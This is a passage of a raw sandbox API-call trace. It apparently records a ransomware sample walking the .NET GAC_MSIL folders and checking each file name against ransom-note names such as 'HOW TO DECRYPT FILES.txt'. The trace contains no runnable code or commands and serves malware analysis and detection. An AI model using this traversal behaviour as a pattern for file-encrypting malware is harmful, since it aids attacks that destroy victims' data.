ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf14e1bd, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.869] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad4f7e1a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad4f7e1a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad62891c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1 [0101.869] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.869] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Entity.Design.dll") returned -1 [0101.869] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Entity.Design.dll") returned -1 [0101.869] lstrcmpiA (lpString1="", lpString2="System.Data.Entity.Design.dll") returned -1 [0101.869] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\3.5.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.869] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\3.5.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\3.5.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\3.5.0.0__b77a5c561934e089\\" [0101.869] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\3.5.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\3.5.0.0__b77a5c561934e089\\") returned="" [0101.872] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad4f7e1a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad4f7e1a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad62891c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 0 [0101.872] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.872] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf14e1bd, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf14e1bd, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 0 [0101.872] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.873] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.Linq", cAlternateFileName="SYSTEM~1.LIN")) returned 1 [0101.873] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.873] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Linq\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.874] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.874] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf389662, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf389662, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 1 [0101.874] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Linq\\*.*") returned="*.*" [0101.874] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Linq\\3.5.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf389662, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf389662, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.875] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf389662, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf389662, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.875] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09c869b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb09c869b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb09c869b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1 [0101.875] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.875] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Linq.dll") returned -1 [0101.875] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Linq.dll") returned -1 [0101.875] lstrcmpiA (lpString1="", lpString2="System.Data.Linq.dll") returned -1 [0101.875] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Linq\\3.5.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.875] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Linq\\3.5.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Linq\\3.5.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Linq\\3.5.0.0__b77a5c561934e089\\" [0101.875] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Linq\\3.5.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Linq\\3.5.0.0__b77a5c561934e089\\") returned="" [0101.879] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09c869b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb09c869b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb09c869b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 0 [0101.879] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.879] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf389662, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf389662, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 0 [0101.880] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.880] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.Services", cAlternateFileName="SYSTEM~3.SER")) returned 1 [0101.880] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.880] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.881] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.881] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfd5b134, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbfd5b134, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 1 [0101.881] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services\\*.*") returned="*.*" [0101.881] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services\\3.5.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfd5b134, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbfd5b134, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.882] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfd5b134, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbfd5b134, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.882] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09a253b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb09a253b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb09a253b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1 [0101.882] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.882] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Services.dll") returned -1 [0101.882] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Services.dll") returned -1 [0101.882] lstrcmpiA (lpString1="", lpString2="System.Data.Services.dll") returned -1 [0101.882] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services\\3.5.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.882] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services\\3.5.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services\\3.5.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services\\3.5.0.0__b77a5c561934e089\\" [0101.882] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services\\3.5.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services\\3.5.0.0__b77a5c561934e089\\") returned="" [0101.885] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09a253b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb09a253b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb09a253b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 0 [0101.885] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.885] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfd5b134, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbfd5b134, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 0 [0101.885] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.885] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.Services.Client", cAlternateFileName="SYSTEM~1.CLI")) returned 1 [0101.885] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.886] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Client\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.886] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.886] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf33d3a1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf33d3a1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 1 [0101.886] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Client\\*.*") returned="*.*" [0101.887] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Client\\3.5.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf33d3a1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf33d3a1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.887] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf33d3a1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf33d3a1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.887] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09ee7fc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb09ee7fc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb09ee7fc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1 [0101.887] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.887] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Services.Client.dll") returned -1 [0101.887] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Services.Client.dll") returned -1 [0101.887] lstrcmpiA (lpString1="", lpString2="System.Data.Services.Client.dll") returned -1 [0101.888] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Client\\3.5.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.888] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Client\\3.5.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Client\\3.5.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Client\\3.5.0.0__b77a5c561934e089\\" [0101.888] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Client\\3.5.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Client\\3.5.0.0__b77a5c561934e089\\") returned="" [0101.890] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09ee7fc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb09ee7fc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb09ee7fc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 0 [0101.890] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.890] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf33d3a1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf33d3a1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 0 [0101.891] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.891] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.Services.Design", cAlternateFileName="SYSTEM~4.DES")) returned 1 [0101.891] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.891] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Design\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.892] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.892] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc04a54a1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc04a54a1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, 